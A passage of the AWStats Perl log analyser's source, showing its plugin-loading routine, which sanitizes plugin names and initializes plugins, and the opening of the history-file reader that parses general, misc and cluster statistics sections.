3077	while ( $i < length($string) ) {
3078		my $c = substr( $string, $i, 1 );
3079		$checksum += ( ord($c) << ( 8 * $j ) );
3080		if ( $j++ > 3 ) { $j = 0; }
3081		$i++;
3082	}
3083	return $checksum;
3084}
3085
3086#------------------------------------------------------------------------------
3087# Function:     Load plugins files
3088# Parameters:	None
3089# Input:		$DIR @PluginsToLoad
3090# Output:		None
3091# Return: 		None
3092#------------------------------------------------------------------------------
3093sub Read_Plugins {
3094
3095# Check plugin files in common possible directories :
3096# Windows and standard package:        		"$DIR/plugins" (plugins in same dir than awstats.pl)
3097# Redhat :                                  "/usr/local/www/awstats/cgi-bin/plugins"
3098# Debian package :                    		"/usr/share/awstats/plugins"
3099	my @PossiblePluginsDir = (
3100		"$DIR/plugins",
3101		"/usr/local/www/awstats/cgi-bin/plugins",
3102		"/usr/share/awstats/plugins"
3103	);
3104	my %DirAddedInINC = ();
3105
3106#Removed for security reason
3107#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
3108	if ($Debug) {
3109		debug(
3110			"Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
3111	}
3112	foreach my $plugininfo (@PluginsToLoad) {
3113		my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
3114		$pluginparam ||=
3115		  "";    # If split has only on part, pluginparam is not initialized
3116        $pluginfile =~ s/\.pm$//i;
3117		$pluginfile =~ /([^\/\\]+)$/;
3118		$pluginfile = Sanitize($1);     # pluginfile is cleaned from any path for security reasons and from .pm
3119		my $pluginname = $pluginfile;
3120		if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
3121			if ($Debug) {
3122				debug(
3123" Plugin load for '$pluginfile' has been disabled from parameters"
3124				);
3125			}
3126			next;
3127		}
3128		if ($pluginname) {
3129			if ( !$PluginsLoaded{'init'}{"$pluginname"} )
3130			{                   # Plugin not already loaded
3131				my %pluginisfor = (
3132					'timehires'            => 'u',
3133					'ipv6'                 => 'u',
3134					'hashfiles'            => 'u',
3135					'geoipfree'            => 'u',
3136					'geoip'                => 'ou',
3137					'geoip6'               => 'ou',
3138					'geoip2_country'       => 'ou',
3139					'geoip_region_maxmind' => 'mou',
3140					'geoip_city_maxmind'   => 'mou',
3141                    'geoip2_city'          => 'mou',
3142					'geoip_isp_maxmind'    => 'mou',
3143					'geoip_org_maxmind'    => 'mou',
3144					'timezone'             => 'ou',
3145					'decodeutfkeys'        => 'o',
3146					'hostinfo'             => 'o',
3147					'rawlog'               => 'o',
3148					'userinfo'             => 'o',
3149					'urlalias'             => 'o',
3150					'tooltips'             => 'o'
3151				);
3152				if ( $pluginisfor{$pluginname} )
3153				{    # If it's a known plugin, may be we don't need to load it
3154					 # Do not load "menu handler plugins" if output only and mainleft frame
3155					if (   !$UpdateStats
3156						&& scalar keys %HTMLOutput
3157						&& $FrameName eq 'mainleft'
3158						&& $pluginisfor{$pluginname} !~ /m/ )
3159					{
3160						$PluginsLoaded{'init'}{"$pluginname"} = 1;
3161						next;
3162					}
3163
3164					# Do not load "update plugins" if output only
3165					if (   !$UpdateStats
3166						&& scalar keys %HTMLOutput
3167						&& $pluginisfor{$pluginname} !~ /o/ )
3168					{
3169						$PluginsLoaded{'init'}{"$pluginname"} = 1;
3170						next;
3171					}
3172
3173					# Do not load "output plugins" if update only
3174					if (   $UpdateStats
3175						&& !scalar keys %HTMLOutput
3176						&& $pluginisfor{$pluginname} !~ /u/ )
3177					{
3178						$PluginsLoaded{'init'}{"$pluginname"} = 1;
3179						next;
3180					}
3181				}
3182
3183				# Load plugin
3184				foreach my $dir (@PossiblePluginsDir) {
3185					my $searchdir = $dir;
3186					if (   $searchdir
3187						&& ( !( $searchdir =~ /\/$/ ) )
3188						&& ( !( $searchdir =~ /\\$/ ) ) )
3189					{
3190						$searchdir .= "/";
3191					}
3192					my $pluginpath = "${searchdir}${pluginfile}.pm";
3193					if ( -s "$pluginpath" ) {
3194						$PluginDir = "${searchdir}";    # Set plugin dir
3195						if ($Debug) {
3196							debug(
3197" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
3198								1
3199							);
3200						}
3201						if ( !$DirAddedInINC{"$dir"} ) {
3202							push @INC, "$dir";
3203							$DirAddedInINC{"$dir"} = 1;
3204						}
3205						my $loadret = 0;
3206						my $modperl = $ENV{"MOD_PERL"}
3207						  ? eval {
3208							require mod_perl;
3209							$mod_perl::VERSION >= 1.99 ? 2 : 1;
3210						  }
3211						  : 0;
3212						if ( $modperl == 2 ) {
3213							$loadret = require "$pluginpath";
3214						}
3215						else { $loadret = require "$pluginfile.pm"; }
3216						if ( !$loadret || $loadret =~ /^error/i ) {
3217
3218							# Load failed, we stop here
3219							error(
3220"Plugin load for plugin '$pluginname' failed with return code: $loadret"
3221							);
3222						}
3223						my $ret;    # To get init return
3224						my $initfunction =
3225						  "\$ret=Init_$pluginname('$pluginparam')";		# Note that pluginname and pluginparam were sanitized when reading cong file entry 'LoadPlugin'
3226						my $initret = eval("$initfunction");
3227						if ( $initret && $initret eq 'xxx' ) {
3228							$initret =
3229'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
3230						}
3231						if ( !$initret || $initret =~ /^error/i ) {
3232
3233							# Init function failed, we stop here
3234							error(
3235"Plugin init for plugin '$pluginname' failed with return code: "
3236								  . (
3237									$initret
3238									? "$initret"
3239									: "$@ (A module required by plugin might be missing)."
3240								  )
3241							);
3242						}
3243
3244						# Plugin load and init successful
3245						foreach my $elem ( split( /\s+/, $initret ) ) {
3246
3247							# Some functions can only be plugged once
3248							my @uniquefunc = (
3249								'GetCountryCodeByName',
3250								'GetCountryCodeByAddr',
3251								'ChangeTime',
3252								'GetTimeZoneTitle',
3253								'GetTime',
3254								'SearchFile',
3255								'LoadCache',
3256								'SaveHash',
3257								'ShowMenu'
3258							);
3259							my $isuniquefunc = 0;
3260							foreach my $function (@uniquefunc) {
3261								if ( "$elem" eq "$function" ) {
3262
3263	# We try to load a 'unique' function, so we check and stop if already loaded
3264									foreach my $otherpluginname (
3265										keys %{ $PluginsLoaded{"$elem"} } )
3266									{
3267										error(
3268"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
3269										);
3270									}
3271									$isuniquefunc = 1;
3272									last;
3273								}
3274							}
3275							if ($isuniquefunc) {
3276
3277			   # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
3278								$PluginsLoaded{"$elem"}{"$pluginname"} = 1;
3279							}
3280							else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
3281							if ( "$elem" =~ /SectionInitHashArray/ ) {
3282								$AtLeastOneSectionPlugin = 1;
3283							}
3284						}
3285						$PluginsLoaded{'init'}{"$pluginname"} = 1;
3286						if ($Debug) {
3287							debug(
3288" Plugin '$pluginname' now hooks functions '$initret'",
3289								1
3290							);
3291						}
3292						last;
3293					}
3294				}
3295				if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
3296					error(
3297"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
3298						  . ( $PossiblePluginsDir[0] )
3299						  . "\" directory and is readable." );
3300				}
3301			}
3302			else {
3303				warning(
3304"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
3305				);
3306			}
3307		}
3308		else {
3309			error("Plugin \"$pluginfile\" is not a valid plugin name.");
3310		}
3311	}
3312
3313# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
3314	if (   $PluginsLoaded{'init'}{'geoip'}
3315		|| $PluginsLoaded{'init'}{'geoip6'}
3316		|| $PluginsLoaded{'init'}{'geoipfree'}
3317		|| $PluginsLoaded{'init'}{'geoip2_country'})
3318	{
3319		$Message[17] = $Message[25] = $Message[148];
3320	}
3321}
3322
3323#------------------------------------------------------------------------------
3324# Function:		Read history file and create or update tmp history file
3325# Parameters:	year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
3326# Input:		$DirData $PROG $FileSuffix $LastLine $DatabaseBreak
3327# Output:		None
3328# Return:		Tmp history file name created/updated or '' if withupdate is 0
3329#------------------------------------------------------------------------------
3330sub Read_History_With_TmpUpdate {
3331
3332	my $year  = sprintf( "%04i", shift || 0 );
3333	my $month = sprintf( "%02i", shift || 0 );
3334	my $day   = shift;
3335	if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
3336	my $hour = shift;
3337	if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
3338	my $withupdate = shift || 0;
3339	my $withpurge  = shift || 0;
3340	my $part       = shift || '';
3341
3342	my ( $date, $filedate ) = ( '', '' );
3343	if ( $DatabaseBreak eq 'month' ) {
3344		$date     = sprintf( "%04i%02i", $year,  $month );
3345		$filedate = sprintf( "%02i%04i", $month, $year );
3346	}
3347	elsif ( $DatabaseBreak eq 'year' ) {
3348		$date     = sprintf( "%04i%", $year );
3349		$filedate = sprintf( "%04i",  $year );
3350	}
3351	elsif ( $DatabaseBreak eq 'day' ) {
3352		$date     = sprintf( "%04i%02i%02i", $year,  $month, $day );
3353		$filedate = sprintf( "%02i%04i%02i", $month, $year,  $day );
3354	}
3355	elsif ( $DatabaseBreak eq 'hour' ) {
3356		$date     = sprintf( "%04i%02i%02i%02i", $year,  $month, $day, $hour );
3357		$filedate = sprintf( "%02i%04i%02i%02i", $month, $year,  $day, $hour );
3358	}
3359
3360	my $xml   = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
3361	my $xmleb = '</table><nu>';
3362	my $xmlrb = '<tr><td>';
3363
3364	my $lastlinenb       = shift || 0;
3365	my $lastlineoffset   = shift || 0;
3366	my $lastlinechecksum = shift || 0;
3367
3368	my %allsections = (
3369		'general'               => 1,
3370		'misc'                  => 2,
3371		'time'                  => 3,
3372		'visitor'               => 4,
3373		'day'                   => 5,
3374		'domain'                => 6,
3375		'cluster'               => 7,
3376		'login'                 => 8,
3377		'robot'                 => 9,
3378		'worms'                 => 10,
3379		'emailsender'           => 11,
3380		'emailreceiver'         => 12,
3381		'session'               => 13,
3382		'sider'                 => 14,
3383		'filetypes'             => 15,
3384		'downloads'				=> 16,
3385		'os'                    => 17,
3386		'browser'               => 18,
3387		'screensize'            => 19,
3388		'unknownreferer'        => 20,
3389		'unknownrefererbrowser' => 21,
3390		'origin'                => 22,
3391		'sereferrals'           => 23,
3392		'pagerefs'              => 24,
3393		'searchwords'           => 25,
3394		'keywords'              => 26,
3395		'errors'                => 27,
3396	);
3397
3398	my $order = ( scalar keys %allsections ) + 1;
3399	foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3400		$allsections{"sider_$_"} = $order++;
3401	}
3402	foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
3403	foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3404		$allsections{"plugin_$_"} = $order++;
3405	}
3406	my $withread = 0;
3407
3408	# Variable used to read old format history files
3409	my $readvisitorforbackward = 0;
3410
3411	if ($Debug) {
3412		debug(
3413"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
3414		);
3415	}
3416	if ($Debug) { debug("date=$date"); }
3417
3418	# Define SectionsToLoad (which sections to load)
3419	my %SectionsToLoad = ();
3420	if ( $part eq 'all' ) {    # Load all needed sections
3421		my $order = 1;
3422		$SectionsToLoad{'general'} = $order++;
3423
3424		# When
3425		$SectionsToLoad{'time'} = $order
3426		  ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
3427		if (   $UpdateStats
3428			|| $MigrateStats
3429			|| ( $HTMLOutput{'main'} && $ShowHostsStats )
3430			|| $HTMLOutput{'allhosts'}
3431			|| $HTMLOutput{'lasthosts'}
3432			|| $HTMLOutput{'unknownip'} )
3433		{
3434			$SectionsToLoad{'visitor'} = $order++;
3435		}     # Must be before day, sider and session section
3436		if (
3437			   $UpdateStats
3438			|| $MigrateStats
3439			|| ( $HTMLOutput{'main'}
3440				&& ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
3441			|| $HTMLOutput{'alldays'}
3442		  )
3443		{
3444			$SectionsToLoad{'day'} = $order++;
3445		}
3446
3447		# Who
3448		if (   $UpdateStats
3449			|| $MigrateStats
3450			|| ( $HTMLOutput{'main'} && $ShowDomainsStats )
3451			|| $HTMLOutput{'alldomains'} )
3452		{
3453			$SectionsToLoad{'domain'} = $order++;
3454		}
3455		if (   $UpdateStats
3456			|| $MigrateStats
3457			|| ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
3458			|| $HTMLOutput{'alllogins'}
3459			|| $HTMLOutput{'lastlogins'} )
3460		{
3461			$SectionsToLoad{'login'} = $order++;
3462		}
3463		if (   $UpdateStats
3464			|| $MigrateStats
3465			|| ( $HTMLOutput{'main'} && $ShowRobotsStats )
3466			|| $HTMLOutput{'allrobots'}
3467			|| $HTMLOutput{'lastrobots'} )
3468		{
3469			$SectionsToLoad{'robot'} = $order++;
3470		}
3471		if (   $UpdateStats
3472			|| $MigrateStats
3473			|| ( $HTMLOutput{'main'} && $ShowWormsStats )
3474			|| $HTMLOutput{'allworms'}
3475			|| $HTMLOutput{'lastworms'} )
3476		{
3477			$SectionsToLoad{'worms'} = $order++;
3478		}
3479		if (   $UpdateStats
3480			|| $MigrateStats
3481			|| ( $HTMLOutput{'main'} && $ShowEMailSenders )
3482			|| $HTMLOutput{'allemails'}
3483			|| $HTMLOutput{'lastemails'} )
3484		{
3485			$SectionsToLoad{'emailsender'} = $order++;
3486		}
3487		if (   $UpdateStats
3488			|| $MigrateStats
3489			|| ( $HTMLOutput{'main'} && $ShowEMailReceivers )
3490			|| $HTMLOutput{'allemailr'}
3491			|| $HTMLOutput{'lastemailr'} )
3492		{
3493			$SectionsToLoad{'emailreceiver'} = $order++;
3494		}
3495
3496		# Navigation
3497		if (   $UpdateStats
3498			|| $MigrateStats
3499			|| ( $HTMLOutput{'main'} && $ShowSessionsStats )
3500			|| $HTMLOutput{'sessions'} )
3501		{
3502			$SectionsToLoad{'session'} = $order++;
3503		}
3504		if (   $UpdateStats
3505			|| $MigrateStats
3506			|| ( $HTMLOutput{'main'} && $ShowPagesStats )
3507			|| $HTMLOutput{'urldetail'}
3508			|| $HTMLOutput{'urlentry'}
3509			|| $HTMLOutput{'urlexit'} )
3510		{
3511			$SectionsToLoad{'sider'} = $order++;
3512		}
3513		if (   $UpdateStats
3514			|| $MigrateStats
3515			|| ( $HTMLOutput{'main'} && $ShowFileTypesStats )
3516			|| $HTMLOutput{'filetypes'} )
3517		{
3518			$SectionsToLoad{'filetypes'} = $order++;
3519		}
3520
3521		if ( $UpdateStats
3522		    || $MigrateStats
3523		    || ($HTMLOutput{'main'} && $ShowDownloadsStats )
3524		    || $HTMLOutput{'downloads'} )
3525		{
3526			$SectionsToLoad{'downloads'} = $order++;
3527		}
3528		if (   $UpdateStats
3529			|| $MigrateStats
3530			|| ( $HTMLOutput{'main'} && $ShowOSStats )
3531			|| $HTMLOutput{'osdetail'} )
3532		{
3533			$SectionsToLoad{'os'} = $order++;
3534		}
3535		if (   $UpdateStats
3536			|| $MigrateStats
3537			|| ( $HTMLOutput{'main'} && $ShowBrowsersStats )
3538			|| $HTMLOutput{'browserdetail'} )
3539		{
3540			$SectionsToLoad{'browser'} = $order++;
3541		}
3542		if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
3543			$SectionsToLoad{'unknownreferer'} = $order++;
3544		}
3545		if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
3546			$SectionsToLoad{'unknownrefererbrowser'} = $order++;
3547		}
3548		if (   $UpdateStats
3549			|| $MigrateStats
3550			|| ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
3551		{
3552			$SectionsToLoad{'screensize'} = $order++;
3553		}
3554
3555		# Referers
3556		if (   $UpdateStats
3557			|| $MigrateStats
3558			|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3559			|| $HTMLOutput{'origin'} )
3560		{
3561			$SectionsToLoad{'origin'} = $order++;
3562		}
3563		if (   $UpdateStats
3564			|| $MigrateStats
3565			|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3566			|| $HTMLOutput{'refererse'} )
3567		{
3568			$SectionsToLoad{'sereferrals'} = $order++;
3569		}
3570		if (   $UpdateStats
3571			|| $MigrateStats
3572			|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3573			|| $HTMLOutput{'refererpages'} )
3574		{
3575			$SectionsToLoad{'pagerefs'} = $order++;
3576		}
3577		if (   $UpdateStats
3578			|| $MigrateStats
3579			|| ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
3580			|| $HTMLOutput{'keyphrases'}
3581			|| $HTMLOutput{'keywords'} )
3582		{
3583			$SectionsToLoad{'searchwords'} = $order++;
3584		}
3585		if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
3586			$SectionsToLoad{'keywords'} = $order++;
3587		}    # If we update, there is no need to load
3588		     # Others
3589		if (   $UpdateStats
3590			|| $MigrateStats
3591			|| ( $HTMLOutput{'main'} && $ShowMiscStats ) )
3592		{
3593			$SectionsToLoad{'misc'} = $order++;
3594		}
3595		if (
3596			   $UpdateStats
3597			|| $MigrateStats
3598			|| ( $HTMLOutput{'main'}
3599				&& ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
3600			|| $HTMLOutput{'errors'}
3601		  )
3602		{
3603			$SectionsToLoad{'errors'} = $order++;
3604		}
3605		foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3606			if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
3607				$SectionsToLoad{"sider_$_"} = $order++;
3608			}
3609		}
3610		if (   $UpdateStats
3611			|| $MigrateStats
3612			|| ( $HTMLOutput{'main'} && $ShowClusterStats ) )
3613		{
3614			$SectionsToLoad{'cluster'} = $order++;
3615		}
3616		foreach ( 1 .. @ExtraName - 1 ) {
3617			if (   $UpdateStats
3618				|| $MigrateStats
3619				|| ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
3620				|| $HTMLOutput{"allextra$_"} )
3621			{
3622				$SectionsToLoad{"extra_$_"} = $order++;
3623			}
3624		}
3625		foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3626			if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
3627				$SectionsToLoad{"plugin_$_"} = $order++;
3628			}
3629		}
3630	}
3631	else {    # Load only required sections
3632		my $order = 1;
3633		foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
3634	}
3635
3636	# Define SectionsToSave (which sections to save)
3637	my %SectionsToSave = ();
3638	if ($withupdate) {
3639		if ( $SectionsToBeSaved eq 'all' ) {
3640			%SectionsToSave = %allsections;
3641		}
3642		else {
3643			my $order = 1;
3644			foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
3645				$SectionsToSave{$_} = $order++;
3646			}
3647		}
3648	}
3649
3650	if ($Debug) {
3651		debug(
3652			" List of sections marked for load : "
3653			  . join(
3654				' ',
3655				(
3656					sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
3657					  keys %SectionsToLoad
3658				)
3659			  ),
3660			2
3661		);
3662		debug(
3663			" List of sections marked for save : "
3664			  . join(
3665				' ',
3666				(
3667					sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
3668					  keys %SectionsToSave
3669				)
3670			  ),
3671			2
3672		);
3673	}
3674
3675# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
3676	my $filetowrite = '';
3677	my $filetoread  = '';
3678	if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
3679		&& -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
3680	{
3681
3682		# tmp history file was already flushed
3683		$filetoread  = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3684		$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
3685	}
3686	else {
3687		$filetoread  = "$DirData/$PROG$filedate$FileSuffix.txt";
3688		$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3689	}
3690	if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
3691
3692# Is there an old data file to read or, if migrate, can we open the file for read
3693	if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
3694
3695	# Open files
3696	if ($withread) {
3697		open( HISTORY, $filetoread )
3698		  || error( "Couldn't open file \"$filetoread\" for read: $!",
3699			"", "", $MigrateStats );
3700		binmode HISTORY
3701		  ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
3702	}
3703	if ($withupdate) {
3704		open( HISTORYTMP, ">$filetowrite" )
3705		  || error("Couldn't open file \"$filetowrite\" for write: $!");
3706		binmode HISTORYTMP;
3707		if ($xml) {
3708			print HISTORYTMP
3709'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd">'
3710			  . "\n\n";
3711		}
3712		Save_History( "header", $year, $month, $date );
3713	}
3714
3715	# Loop on read file
3716	my $readxml = 0;
3717	if ($withread) {
3718		my $countlines = 0;
3719		my $versionnum = 0;
3720		my @field      = ();
3721		while (<HISTORY>) {
3722			chomp $_;
3723			s/\r//;
3724			$countlines++;
3725
3726			# Test if it's xml
3727			if ( !$readxml && $_ =~ /^<xml/ ) {
3728				$readxml = 1;
3729				if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
3730				next;
3731			}
3732
3733			# Extract version from first line
3734			if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
3735				$versionnum = ( $1 * 1000 ) + $2;
3736				if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
3737				next;
3738			}
3739
3740			# Analyze fields
3741			@field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3742			if ( !$field[0] ) { next; }
3743
3744			# Here version MUST be defined
3745			if ( $versionnum < 5000 ) {
3746				error(
3747"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
3748					"", "", 1
3749				);
3750			}
3751
3752			# BEGIN_GENERAL
3753			# TODO Manage GENERAL in a loop like other sections.
3754			if ( $field[0] eq 'BEGIN_GENERAL' ) {
3755				if ($Debug) { debug(" Begin of GENERAL section"); }
3756				next;
3757			}
3758			if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
3759				if ( !$LastLine || $LastLine < int( $field[1] ) ) {
3760					$LastLine = int( $field[1] );
3761				}
3762				if ( $field[2] ) { $LastLineNumber   = int( $field[2] ); }
3763				if ( $field[3] ) { $LastLineOffset   = int( $field[3] ); }
3764				if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
3765				next;
3766			}
3767			if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
3768			{
3769				if ( !$FirstTime{$date}
3770					|| $FirstTime{$date} > int( $field[1] ) )
3771				{
3772					$FirstTime{$date} = int( $field[1] );
3773				}
3774				next;
3775			}
3776			if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
3777				if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
3778				{
3779					$LastTime{$date} = int( $field[1] );
3780				}
3781				next;
3782			}
3783			if (   $field[0] eq 'LastUpdate'
3784				|| $field[0] eq "${xmlrb}LastUpdate" )
3785			{
3786				if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
3787				next;
3788			}
3789			if (   $field[0] eq 'TotalVisits'
3790				|| $field[0] eq "${xmlrb}TotalVisits" )
3791			{
3792				if ( !$withupdate ) {
3793					$MonthVisits{ $year . $month } += int( $field[1] );
3794				}
3795				next;
3796			}
3797			if (   $field[0] eq 'TotalUnique'
3798				|| $field[0] eq "${xmlrb}TotalUnique" )
3799			{
3800				if ( !$withupdate ) {
3801					$MonthUnique{ $year . $month } += int( $field[1] );
3802				}
3803				next;
3804			}
3805			if (   $field[0] eq 'MonthHostsKnown'
3806				|| $field[0] eq "${xmlrb}MonthHostsKnown" )
3807			{
3808				if ( !$withupdate ) {
3809					$MonthHostsKnown{ $year . $month } += int( $field[1] );
3810				}
3811				next;
3812			}
3813			if (   $field[0] eq 'MonthHostsUnknown'
3814				|| $field[0] eq "${xmlrb}MonthHostsUnknown" )
3815			{
3816				if ( !$withupdate ) {
3817					$MonthHostsUnknown{ $year . $month } += int( $field[1] );
3818				}
3819				next;
3820			}
3821			if (
3822				(
3823					   $field[0] eq 'END_GENERAL'
3824					|| $field[0] eq "${xmleb}END_GENERAL"
3825				)
3826			  )
3827			{
3828				if ($Debug) { debug(" End of GENERAL section"); }
3829				if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
3830					$BadFormatWarning{ $year . $month } = 1;
3831					warning(
3832"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
3833						"", "", 1
3834					);
3835				}
3836
3837				delete $SectionsToLoad{'general'};
3838				if ( $SectionsToSave{'general'} ) {
3839					Save_History( 'general', $year, $month, $date, $lastlinenb,
3840						$lastlineoffset, $lastlinechecksum );
3841					delete $SectionsToSave{'general'};
3842				}
3843				if ( !scalar %SectionsToLoad ) {
3844					debug(" Stop reading history file. Got all we need.");
3845					last;
3846				}
3847				next;
3848			}
3849
3850			# BEGIN_MISC
3851			if ( $field[0] eq 'BEGIN_MISC' ) {
3852				if ($Debug) { debug(" Begin of MISC section"); }
3853				$field[0] = '';
3854				my $count       = 0;
3855				my $countloaded = 0;
3856				do {
3857					if ( $field[0] ) {
3858						$count++;
3859						if ( $SectionsToLoad{'misc'} ) {
3860							$countloaded++;
3861							if ( $field[1] ) {
3862								$_misc_p{ $field[0] } += int( $field[1] );
3863							}
3864							if ( $field[2] ) {
3865								$_misc_h{ $field[0] } += int( $field[2] );
3866							}
3867							if ( $field[3] ) {
3868								$_misc_k{ $field[0] } += int( $field[3] );
3869							}
3870						}
3871					}
3872					$_ = <HISTORY>;
3873					chomp $_;
3874					s/\r//;
3875					@field =
3876					  split( /\s+/,
3877						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3878					$countlines++;
3879				  } until ( $field[0] eq 'END_MISC'
3880					  || $field[0] eq "${xmleb}END_MISC"
3881					  || !$_ );
3882				if (   $field[0] ne 'END_MISC'
3883					&& $field[0] ne "${xmleb}END_MISC" )
3884				{
3885					error(
3886"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3887						"", "", 1
3888					);
3889				}
3890				if ($Debug) {
3891					debug(
3892" End of MISC section ($count entries, $countloaded loaded)"
3893					);
3894				}
3895				delete $SectionsToLoad{'misc'};
3896				if ( $SectionsToSave{'misc'} ) {
3897					Save_History( 'misc', $year, $month, $date );
3898					delete $SectionsToSave{'misc'};
3899					if ($withpurge) {
3900						%_misc_p = ();
3901						%_misc_h = ();
3902						%_misc_k = ();
3903					}
3904				}
3905				if ( !scalar %SectionsToLoad ) {
3906					debug(" Stop reading history file. Got all we need.");
3907					last;
3908				}
3909				next;
3910			}
3911
3912			# BEGIN_CLUSTER
3913			if ( $field[0] eq 'BEGIN_CLUSTER' ) {
3914				if ($Debug) { debug(" Begin of CLUSTER section"); }
3915				$field[0] = '';
3916				my $count       = 0;
3917				my $countloaded = 0;
3918				do {
3919					if ( $field[0] ) {
3920						$count++;
3921						if ( $SectionsToLoad{'cluster'} ) {
3922							$countloaded++;
3923							if ( $field[1] ) {
3924								$_cluster_p{ $field[0] } += int( $field[1] );
3925							}
3926							if ( $field[2] ) {
3927								$_cluster_h{ $field[0] } += int( $field[2] );
3928							}
3929							if ( $field[3] ) {
3930								$_cluster_k{ $field[0] } += int( $field[3] );
3931							}
3932						}
3933					}
3934					$_ = <HISTORY>;
3935					chomp $_;
3936					s/\r//;
3937					@field =
3938					  split( /\s+/,
3939						( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3940					$countlines++;
3941				  } until ( $field[0] eq 'END_CLUSTER'
3942					  || $field[0] eq "${xmleb}END_CLUSTER"
3943					  || !$_ );
3944				if (   $field[0] ne 'END_CLUSTER'
3945					&& $field[0] ne "${xmleb}END_CLUSTER" )
3946				{
3947					error(
3948"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3949						"", "", 1
3950					);
3951				}
3952				if ($Debug) {
3953					debug(
3954" End of CLUSTER section ($count entries, $countloaded loaded)"
3955					);
3956				}
3957				delete $SectionsToLoad{'cluster'};
3958				if ( $SectionsToSave{'cluster'} ) {
3959					Save_History( 'cluster', $year, $month, $date );
3960					delete $SectionsToSave{'cluster'};
3961					if ($withpurge) {
3962						%_cluster_p = ();
3963						%_cluster_h = ();
3964						%_cluster_k = ();
3965					}
3966				}
3967				if ( !scalar %SectionsToLoad ) {
3968					debug(" Stop reading history file. Got all we need.");
3969					last;
3970				}
3971				next;
3972			}
3973
3974			# BEGIN_TIME
3975			if ( $field[0] eq 'BEGIN_TIME' ) {
3976				my $monthpages          = 0;
3977				my $monthhits           = 0;
